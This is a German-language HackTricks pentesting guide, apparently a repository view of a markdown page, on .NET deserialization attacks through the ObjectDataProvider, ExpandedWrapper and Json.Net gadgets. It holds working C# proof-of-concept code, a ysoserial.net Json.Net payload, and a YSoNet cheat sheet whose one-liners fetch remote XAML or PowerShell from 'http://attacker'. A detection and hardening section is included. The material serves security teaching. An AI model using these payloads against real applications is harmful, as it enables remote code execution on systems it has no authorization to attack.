hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

233 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Grundlegende .Net-Deserialisierung (ObjectDataProvider-Gadget, ExpandedWrapper und Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Dieser Beitrag ist gewidmet, um **zu verstehen, wie das Gadget ObjectDataProvider ausgenutzt wird**, um RCE zu erhalten und **wie** die Serialisierungsbibliotheken **Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können**.
## ObjectDataProvider Gadget
Aus der Dokumentation: _Die ObjectDataProvider-Klasse umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können_.\
Ja, es ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, **ein beliebiges Objekt zu umschließen**, _**MethodParameters**_ zu verwenden, um **beliebige Parameter festzulegen**, und dann **MethodName zu verwenden, um eine beliebige Funktion** des beliebigen Objekts, das mit den beliebigen Parametern deklariert wurde, aufzurufen.\
Daher wird das beliebige **Objekt** eine **Funktion** mit **Parametern ausführen, während es deserialisiert wird.**
### **Wie ist das möglich**
Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` definiert und implementiert ist, ist der Ort, an dem der ObjectDataProvider definiert ist.
Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie **den Code** der Klasse, die uns interessiert, **untersuchen**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../images/image (427).png>)
Wie Sie beobachten können, wird bei der Einstellung von `MethodName` `base.Refresh()` aufgerufen, schauen wir uns an, was es tut:
![](<../../images/image (319).png>)
Ok, lassen Sie uns weitersehen, was `this.BeginQuery()` tut. `BeginQuery` wird von `ObjectDataProvider` überschrieben und das ist, was es tut:
![](<../../images/image (345).png>)
Beachten Sie, dass am Ende des Codes `this.QueryWorke(null)` aufgerufen wird. Lassen Sie uns sehen, was das ausführt:
![](<../../images/image (596).png>)
Beachten Sie, dass dies nicht der vollständige Code der Funktion `QueryWorker` ist, aber es zeigt den interessanten Teil davon: Der Code **ruft `this.InvokeMethodOnInstance(out ex);` auf** dies ist die Zeile, in der das **Methoden-Set aufgerufen wird**.
Wenn Sie überprüfen möchten, dass durch das Setzen von _**MethodName**_** es ausgeführt wird**, können Sie diesen Code ausführen:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Beachten Sie, dass Sie als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ hinzufügen müssen, um `System.Windows.Data` zu laden.
## ExpandedWrapper
Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis vom Objekttyp, der in der _ObjectDataProvider_ Instanz eingekapselt ist** (zum Beispiel `Process`). Weitere [Informationen zur DotNetNuke-Schwachstelle finden Sie hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
Dies ist sehr nützlich für Fälle wie den zuvor dargestellten, da wir in der Lage sein werden, **_ObjectDataProvider**_** innerhalb einer **_**ExpandedWrapper** _ Instanz zu **verpacken** und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.
Sie können diesen Wrapper mit dem folgenden Code überprüfen:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren** könnten, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen.
### Json.Net Beispiel
Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Missbrauch von Json.Net
Mit [ysoserial.net](https://github.com/pwntester/ysoserial.net) habe ich den Exploit erstellt:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
In diesem Code kannst du **den Exploit testen**, führe ihn einfach aus und du wirst sehen, dass ein Calculator ausgeführt wird:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
## Fortgeschrittene .NET Gadget-Ketten (YSoNet & ysoserial.net)
Die oben eingeführte ObjectDataProvider + ExpandedWrapper-Technik ist nur eine von VIELEN Gadget-Ketten, die missbraucht werden können, wenn eine Anwendung **unsichere .NET-Deserialisierung** durchführt. Moderne Red-Team-Tools wie **[YSoNet](https://github.com/irsdl/ysonet)** (und das ältere [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisieren die Erstellung von **einsatzbereiten bösartigen Objektgraphen** für Dutzende von Gadgets und Serialisierungsformaten.
Unten finden Sie ein kompaktes Referenzblatt der nützlichsten Ketten, die mit *YSoNet* geliefert werden, zusammen mit einer kurzen Erklärung, wie sie funktionieren, und Beispielbefehlen zur Generierung der Payloads.
| Gadget-Kette | Schlüsselidee / Primitive | Häufige Serializer | YSoNet-Einzeiler |
|--------------|---------------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Korruptiert den `DelegateSerializationHolder`-Datensatz, sodass der Delegate, sobald er materialisiert ist, auf *jede* vom Angreifer bereitgestellte Methode zeigt (z. B. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Missbraucht `System.Workflow.ComponentModel.ActivitySurrogateSelector`, um *die .NET ≥4.8 Typfilterung zu umgehen* und direkt den **Konstruktor** einer bereitgestellten Klasse aufzurufen oder eine C#-Datei im laufenden Betrieb zu **kompilieren** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Nutzt die **legacy XML**-Darstellung von `System.Data.DataSet`, um beliebige Typen zu instanziieren, indem die Felder `<ColumnMapping>` / `<DataType>` ausgefüllt werden (optional mit `--spoofedAssembly` die Assembly fälschen) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | In WPF-fähigen Laufzeiten (> .NET 5) werden Property-Getter verkettet, bis `System.CodeDom.Compiler.CompilerResults` erreicht ist, dann wird eine DLL, die mit `-c` bereitgestellt wird, *kompiliert* oder *geladen* | `Json.NET` typlos, `MessagePack` typlos | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (Überprüfung) | Verwendet WPF `System.Windows.Data.ObjectDataProvider`, um eine beliebige statische Methode mit kontrollierten Argumenten aufzurufen. YSoNet fügt eine praktische `--xamlurl`-Variante hinzu, um das bösartige XAML remote zu hosten | `BinaryFormatter`, `Json.NET`, `XAML`, *usw.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Betten `ScriptBlock` in `System.Management.Automation.PSObject` ein, der ausgeführt wird, wenn PowerShell das Objekt deserialisiert | PowerShell-Remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Alle Payloads werden standardmäßig **in *stdout*** geschrieben, was es trivial macht, sie in andere Tools (z. B. ViewState-Generatoren, Base64-Codierer, HTTP-Clients) zu pipen.
### YSoNet erstellen / installieren
Wenn keine vorkompilierten Binärdateien unter *Actions ➜ Artifacts* / *Releases* verfügbar sind, wird die folgende **PowerShell**-Einzeiler-Umgebung eingerichtet, das Repository geklont und alles im *Release*-Modus kompiliert:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Die kompilierte `ysonet.exe` ist dann unter `ysonet/bin/Release/` zu finden.
### Erkennung & Härtung
* **Erkennen** Sie unerwartete Kindprozesse von `w3wp.exe`, `PowerShell.exe` oder jedem Prozess, der benutzereingereichte Daten deserialisiert (z. B. `MessagePack`, `Json.NET`).
* Aktivieren und **erzwingen Sie die Typfilterung** (`TypeFilterLevel` = *Full*, benutzerdefinierter `SurrogateSelector`, `SerializationBinder`, *usw.*), wann immer der veraltete `BinaryFormatter` / `NetDataContractSerializer` nicht entfernt werden kann.
* Wo möglich, migrieren Sie zu **`System.Text.Json`** oder **`DataContractJsonSerializer`** mit konverterbasierten Whitelists.
* Blockieren Sie gefährliche WPF-Assemblies (`PresentationFramework`, `System.Workflow.*`), die in Webprozessen geladen werden, die sie niemals benötigen sollten.
## Referenzen
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net ursprüngliches PoC-Tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
{{#include ../../banners/hacktricks-training.md}}